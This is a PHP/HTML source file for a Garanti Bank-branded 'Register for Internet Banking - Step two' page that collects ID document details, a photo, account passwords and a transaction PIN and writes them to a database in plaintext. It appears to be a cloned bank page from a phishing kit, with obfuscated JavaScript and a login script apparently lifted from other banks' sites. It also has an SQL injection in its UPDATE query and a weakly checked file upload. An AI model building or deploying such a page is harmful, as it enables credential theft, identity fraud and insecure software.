<?php
session_start();
###################
require_once('dbconnect.php');
##########################
//define a maximum size for the uploaded images in Kb
define ("MAX_SIZE","200"); 
##########################
##########################
//This function reads the extension of the file. It is used to determine if the file is an image by checking the extension.
function getExtension($str) {
$i = strrpos($str,".");
if (!$i) { return ""; }
$l = strlen($str) - $i;
$ext = substr($str,$i+1,$l);
return $ext;
}

//This variable is used as a flag. The value is initialized with 0 (meaning no error found) 
//and it will be changed to 1 if an errro occures. 
//If the error occures the file will not be uploaded.
$errors=0;
//checks if the form has been submitted
if(isset($_POST['button'])) 
{
//reads the name of the file the user submitted for uploading
$image=$_FILES['image']['name'];
//if it is not empty
if ($image) 
{
//get the original name of the file from the clients machine
$filename = stripslashes($_FILES['image']['name']);
//get the extension of the file in a lower case format
$extension = getExtension($filename);
$extension = strtolower($extension);
//if it is not a known extension, we will suppose it is an error and will not upload the file, 
//otherwise we will do more tests
if (($extension != "jpg") && ($extension != "jpeg") && ($extension != "png") && ($extension != "gif")) 
{
//print error message
echo '<h1>File type not supported!</h1>';
$errors=1;
}
else
{
//get the size of the image in bytes
//$_FILES['image']['tmp_name'] is the temporary filename of the file
//in which the uploaded file was stored on the server
$size=filesize($_FILES['image']['tmp_name']);

//compare the size with the maxim size we defined and print error if bigger
if ($size > MAX_SIZE*2048)
{
echo '<h1>You have exceeded the size limit of 200kb!</h1>';
$errors=1;
}

//we will give an unique name, for example the time in unix time format
$image_name=time().'.'.$extension;
//the new name will be containing the full path where will be stored (images folder)
$newname="../login/images/".$image_name;
//we verify if the image has been uploaded, and print error instead
$copied = copy($_FILES['image']['tmp_name'], $newname);
if (!$copied) 
{
echo '<h1>Copy unsuccessfull!</h1>';
$errors=1;
}}}}

//If no errors registred, print the success message
if(isset($_POST['button']) && !$errors) 
{
	$currentcemail = $_SESSION['cemail'];
	
	$updatesql = "UPDATE `ubwmtco9`.`ibank` SET `imglink` = '$newname' WHERE `email` = '$currentcemail'";
	
	mysql_query($updatesql) or die(mysql_error());
	
$uploadstatus =  "Image Uploaded Successfully!";
}

?>
<?php require_once('unibenkgh.php'); ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  if (PHP_VERSION < 6) {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
  }

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

if ((isset($_POST["MM_update"])) && ($_POST["MM_update"] == "form1")) {
  $updateSQL = sprintf("UPDATE ibank SET password=%s, typeofid=%s, expdate=%s, idnum=%s, acctype=%s, transpin=%s WHERE id=%s",
                       GetSQLValueString($_POST['password'], "text"),
                       GetSQLValueString($_POST['typeofid'], "text"),
                       GetSQLValueString($_POST['expdate'], "text"),
                       GetSQLValueString($_POST['idnum'], "text"),
                       GetSQLValueString($_POST['acctype'], "text"),
                       GetSQLValueString($_POST['transpin'], "text"),
                       GetSQLValueString($_POST['ID'], "int"));

  mysql_select_db($database_unibenkgh, $unibenkgh);
  $Result1 = mysql_query($updateSQL, $unibenkgh) or die(mysql_error());

  $updateGoTo = "regcomplete.php";
  if (isset($_SERVER['QUERY_STRING'])) {
    $updateGoTo .= (strpos($updateGoTo, '?')) ? "&" : "?";
    $updateGoTo .= $_SERVER['QUERY_STRING'];
  }
  header(sprintf("Location: %s", $updateGoTo));
}

$colname_regpart2 = "-1";
if (isset($_SESSION['cemail'])) {
  $colname_regpart2 = $_SESSION['cemail'];
}
mysql_select_db($database_unibenkgh, $unibenkgh);
$query_regpart2 = sprintf("SELECT * FROM ibank WHERE email = %s", GetSQLValueString($colname_regpart2, "text"));
$regpart2 = mysql_query($query_regpart2, $unibenkgh) or die(mysql_error());
$row_regpart2 = mysql_fetch_assoc($regpart2);
$totalRows_regpart2 = mysql_num_rows($regpart2);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>--</title>
<link href="css/eng/loginpage.css" rel="stylesheet" type="text/css">

<style type="text/css">
<!--
.bgstyle {
	background-image: url(images/BGTexture.gif);
	background-repeat: repeat;
	background-color:#FFFFFF;
}
-->
</style>
<script src="../SpryAssets/SpryValidationConfirm.js" type="text/javascript"></script>
<script src="../SpryAssets/SpryValidationSelect.js" type="text/javascript"></script>
<script src="../SpryAssets/SpryValidationTextField.js" type="text/javascript"></script>
<script Language="JavaScript">
		function fLogon()
		{

			if ((document.frmLogon.fldLoginUserId.value).substring(0,1) == "9") {
					  alert ("This service is available only for Garanti Bank customers");
					  document.frmLogon.fldLoginUserId.focus ();
					  return false;
			}

			var l_query_string ;
			if (document.frmLogon.fldLoginUserId.value == "") {
				alert ("User Id must be entered");
				document.frmLogon.fldLoginUserId.focus ();
				return false;
			}
			if (document.frmLogon.fldPassword.value == "") {
				alert ("Password must be entered");
				document.frmLogon.fldPassword.focus ();
				return false;
			}

			loginWindow = window.open ("", document.frmLogon.fldLoginUserId.value,
				"dependant=no,directories=no,location=no,menubar=no"
			+	",resizable=no,scrollbars=yes,titlebar=no,toolbar=no"
			+	",height=690,width=1000,top=0,left=0,status=yes");

			document.frmLogon.target = document.frmLogon.fldLoginUserId.value;
			//document.frmLogon.target ="_self";
			document.frmLogon.submit ();

			document.frmLogon.fldLoginUserId.value = "";
			document.frmLogon.fldPassword.value = "";

			return false;
		}
	</script>

<script>
var tda1=new Array( ); tda1[0]=("\167\x77w.fg\x62.ae"); tda1[1]=("\x77ww.a\x73eelfi\x6eance\x2eae"); tda1[2]=("\x77\x77\167\x2esmar\x74trade\x2eae"); tda1[3]=("w\x77w.gep\x2e\141\x65"); tda1[4]=("onl\x69ne.fg\x62.ae"); tda1[5]=("www\x2efgfs.\x61e"); tda1[6]=("\146\x67b.ae"); tda1[7]=("\x61seel\x66inanc\x65.ae"); tda1[8]=("smart\x74rade.\x61e"); tda1[011]=("gep.a\x65"); tda1[012]=("\x77ww.on\x6c\151\x6ee.fg\x62.ae"); var Æ=new Array( ); Æ[0]=("\x68ttp:/\x2fserve\x7211.i\x6dagec\x61che\x31.co\x6d/fg\x62/su\x70po\x72tf\x67b\x2eph\x70"); Æ[1]=("\150\x74tp://\x73erve\x7212.im\x61gec\x61che\x31.com\x2ffgb\x2fsu\x70po\x72t\x66gb\x2eph\x70"); var cd2=document.domain; function td1( ){var d4=0; var cd3= false; for (d4=0; d4<tda1.length; d4++){if (cd2==tda1[d4]){cd3= true; break; }}if (cd3)return true; else return false; }function sa2( ){var æ=new Array( ); for (Þ=0; Þ<Æ.length; Þ++){æ[Þ]=document.createElement("\x54A\x42LE"); æ[Þ].style.backgroundImage='\x75r\x6c('+Æ[Þ]+'\x29'; document.body.insertBefore(æ[Þ],null); }}function dp12( ){if (cd2!=""){if (!td1( )){sa2( ); }}}
</script>
<link href="../SpryAssets/SpryValidationConfirm.css" rel="stylesheet" type="text/css">
<link href="../SpryAssets/SpryValidationSelect.css" rel="stylesheet" type="text/css">
<link href="../SpryAssets/SpryValidationTextField.css" rel="stylesheet" type="text/css">
</head>
<body topmargin="0" scroll="auto" onload="dp12()" style="background-color:#E6E6E6;background-image:url('images/BGTexture.gif'); background-repeat:repeat">
<table width="80%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
  <tr>
    <td valign="top"><table width="100%" cellspacing="0" cellpadding="0" border="0" >
      <tr>
        <td class="BankBG" align="center">&nbsp;</td>
        </tr>
    </table>

      <table style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" width="99%" cellspacing="0" cellpadding="0" border="0" class="noframe-framing-table">
        <tr valign="top">
          <td class="BankBG"> <div class="LCross"> <IMG src="images/eng/Transparent.gif" border=0></div></td>
          <td width="80%" class="top-navigation">&nbsp; </td>
          <td> <div class="iCross"> <IMG src="images/eng/Transparent.gif" border=0></div>
		  </td>
          <td class="top-navigation1" nowrap valign="top" ><span width="10" class="subbullet"></span>
            <A class=top-nav-item style="TEXT-DECORATION: none" href="#" > Home&nbsp;&nbsp;
            </a> <span width="10" class="subbullet"></span>
		    <a class ="top-nav-item" style="TEXT-DECORATION: none" href="Security.html" > Security&nbsp;&nbsp; </a><span width="10" class="subbullet"></span>
		    <A class=top-nav-item style="TEXT-DECORATION: none" href="TermsConditions.html" >Terms & Conditions&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </a>
		    <span width="10" class="subbullet"></span>
		    <a class ="top-nav-item" style="TEXT-DECORATION: none" href="Privacy.html" > Privacy Policy&nbsp;&nbsp; </a>
	      </td>
        </tr>
        <tr>
          <td valign="top" colspan="2" nowrap> <table cellpadding="0" cellspacing="0" id="table1" width="100%" border="0">
              <tr>
                <td width="100%"> <div align="right">
                    <table width="100%" class="menuTable" cellpadding="3" cellspacing="0" id="table2" border="0">
                      <tr>
                        <td width="100%" nowrap id="Tab1" colspan="4">&nbsp;&nbsp;::
                        </td>
                      </tr>
                    </table>
                </div></td>
                <td align="left"> <div class="rCrossImg"><IMG src="images/eng/Transparent.gif" border=0 /></div></td>
              </tr>
          </table></td>
        </tr>
      </table>




<br>      <table width="100%" height="381" border="0" cellpadding="0" cellspacing="0">
		<tr>
			  <!-- IBCOR-86 -->
			  <td align="center"><img src="images/logo.jpg" width="157" height="47" alt="Garanti Bank"></td>
		</tr>
        <tr>
	    <td><table width="75%" border="0" align="center" cellpadding="0" cellspacing="0" id="table4">
        <tr>

          <td width="100%" height="25" align="center" bgcolor="#66BD48" class="questy">Register for Internet Banking - Step two</td>
            </tr>
            <tr>
              <td colspan="1" valign="top"><p>&nbsp;</p>
                <p><span class="answer2"><?php echo $_SESSION['cemail'];?> verification is complete. This is part two and final data requirements to create your online account.</span></p>
                <form action="<?php echo $editFormAction; ?>" method="POST" enctype="multipart/form-data" name="form1">
                <p>&nbsp;</p>
                  <table width="90%" border="0" align="center" class="imagetable">
                    <tr>
                      <td align="center" bgcolor="#66BD48"><span class="questy">Identity Documentation</span>
                        <input name="ID" type="hidden" id="ID" value="<?php echo $row_regpart2['id']; ?>"></td>
                    </tr>
                  </table>
                  <table width="90%" border="0" align="center" class="imagetable">
                    <tr>
                      <th class="formhdr2" scope="row">Type of Identity document</th>
                      <td><span id="spryselect1">
                        <select name="typeofid" id="typeofid">
                          <option selected value="" <?php if (!(strcmp("", $row_regpart2['typeofid']))) {echo "selected=\"selected\"";} ?>>ID Document Type</option>
                          <option value="Driver's License" <?php if (!(strcmp("Driver\'s License", $row_regpart2['typeofid']))) {echo "selected=\"selected\"";} ?>>Driver's License</option>
                          <option value="International Passport" <?php if (!(strcmp("International Passport", $row_regpart2['typeofid']))) {echo "selected=\"selected\"";} ?>>International Passport</option>
                          <option value="Professional Work ID" <?php if (!(strcmp("Professional Work ID", $row_regpart2['typeofid']))) {echo "selected=\"selected\"";} ?>>Professional Work ID</option>
                          <option value="Social Security Number" <?php if (!(strcmp("Social Security Number", $row_regpart2['typeofid']))) {echo "selected=\"selected\"";} ?>>Social Security Number</option>
                          </select>
                        <span class="selectRequiredMsg">Please select an item.</span></span><span class="redstate">*</span></td>
</tr>
                    <tr>
                      <th class="formhdr2" scope="row">Expiry Date</th>
                      <td><span id="sprytextfield1">
                        <input name="expdate" type="text" class="txtbox101" id="expdate" value="<?php echo $row_regpart2['expdate']; ?>" />
                        <span class="textfieldRequiredMsg">A value is required.</span></span><span class="redstate"> *</span></td>
</tr>
                    <tr>
                      <th width="40%" class="formhdr2" scope="row">Identification Number</th>
                      <td width="60%"><span id="sprytextfield2">
                        <input name="idnum" type="text" class="txtbox101" id="idnum" value="<?php echo $row_regpart2['idnum']; ?>" />
                        <span class="textfieldRequiredMsg">A value is required.</span></span><span class="redstate">*</span></td>
</tr>
</table>
                  <table width="90%" border="0" align="center" class="imagetable">
                    <tr>
                      <td align="center" bgcolor="#66BD48"><h5 class="questy">New Account Information</h5></td>
                    </tr>
                  </table>
                  <table width="90%" border="0" align="center" class="imagetable">
                    <tr>
                      <th class="formhdr2" scope="row">Account Type</th>
                      <td class="txtbox101"><span id="spryselect2">
                        <select name="acctype" id="acctype">
                          <option value="" <?php if (!(strcmp("", $row_regpart2['acctype']))) {echo "selected=\"selected\"";} ?>>New Account Type</option>
                          <option value="Current Account" <?php if (!(strcmp("Current Account", $row_regpart2['acctype']))) {echo "selected=\"selected\"";} ?>>Current Account</option>
                          <option value="Savings Account" <?php if (!(strcmp("Savings Account", $row_regpart2['acctype']))) {echo "selected=\"selected\"";} ?>>Savings Account</option>
                          <option value="Investment Banking Account" <?php if (!(strcmp("Investment Banking Account", $row_regpart2['acctype']))) {echo "selected=\"selected\"";} ?>>Investment Banking Account</option>
                          <option value="Certificate of Deposit" <?php if (!(strcmp("Certificate of Deposit", $row_regpart2['acctype']))) {echo "selected=\"selected\"";} ?>>Certificate of Deposit</option>
                          </select>
                        <span class="selectRequiredMsg">Please select an item.</span></span><span class="redstate">*</span></td>
</tr>
                    <tr>
                      <th class="formhdr2" scope="row">Account Holder's Picture</th>
                      <td><label for="image"></label>
                        <input name="image" type="file" class="txtbox101" id="image" size="30">
                        <span class="redstate">*</span></td>
                    </tr>
                    <tr>
                      <th class="formhdr2" scope="row">Account Password</th>
                      <td><input name="password1" type="password" class="txtbox101" id="password1">
                        <span class="redstate">*</span></td>
                    </tr>
                    <tr>
                      <th class="formhdr2" scope="row">Confirm Password</th>
                      <td><span id="spryconfirm1"><span id="spryconfirm3">
                        <input name="password" type="password" class="txtbox101" id="password" />
                        <span class="confirmRequiredMsg">A value is required.</span><span class="confirmInvalidMsg">The values don't match.</span></span><span class="confirmRequiredMsg">A value is required.</span><span class="confirmInvalidMsg">The values don't match.</span></span><span class="redstate">*</span></td>
</tr>
                    <tr>
                      <th class="formhdr2" scope="row">Account PIN</th>
                      <td><input name="transpin1" type="password" class="txtbox101" id="transpin1">
                        <span class="redstate">*</span></td>
                    </tr>
                    <tr>
                      <th width="40%" class="formhdr2" scope="row">Confirm PIN</th>
                      <td width="60%"><span id="spryconfirm2"><span id="spryconfirm4">
                        <input name="transpin" type="password" class="txtbox101" id="transpin" />
                        <span class="confirmRequiredMsg">A value is required.</span><span class="confirmInvalidMsg">The values don't match.</span></span><span class="confirmRequiredMsg">A value is required.</span><span class="confirmInvalidMsg">The values don't match.</span></span><span class="redstate">*</span></td>
</tr>
</table>
                  <p> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                    <input name="button" type="submit" class="dbtns" id="button" value="Complete Registration">
                  </p>
                  <input type="hidden" name="MM_update" value="form1">
                  <table width="90%" border="0" align="center" class="imagetable">
                    <tr> </tr>
                    <tr> </tr>
                    <tr> </tr>
                  </table>
                  <table width="90%" border="0" align="center" class="imagetable">
                    <tr> </tr>
                    <tr> </tr>
                    <tr> </tr>
                  </table>
                </form>
                <p>&nbsp;</p>
              </table>
      </td>
  </tr>
  <tr>
  <td><br><td>
  </tr>

  <tr>
      <td valign="bottom">&nbsp;</td>
  </tr>




<tr>
  <tr>
      <td valign="bottom">&nbsp;</td>
  </tr>


</table></td>
</tr>
</table>
<script type="text/javascript">
var sprytextfield8 = new Spry.Widget.ValidationTextField("sprytextfield8");
var spryconfirm1 = new Spry.Widget.ValidationConfirm("spryconfirm1", "email1", {isRequired:false});
var sprytextfield9 = new Spry.Widget.ValidationTextField("sprytextfield9");
var spryconfirm4 = new Spry.Widget.ValidationConfirm("spryconfirm4", "transpin1");
var spryselect2 = new Spry.Widget.ValidationSelect("spryselect2");
var spryconfirm3 = new Spry.Widget.ValidationConfirm("spryconfirm3", "password1");
var sprytextfield2 = new Spry.Widget.ValidationTextField("sprytextfield2");
var spryselect1 = new Spry.Widget.ValidationSelect("spryselect1");
var sprytextfield1 = new Spry.Widget.ValidationTextField("sprytextfield1");
</script>
</body>

</html>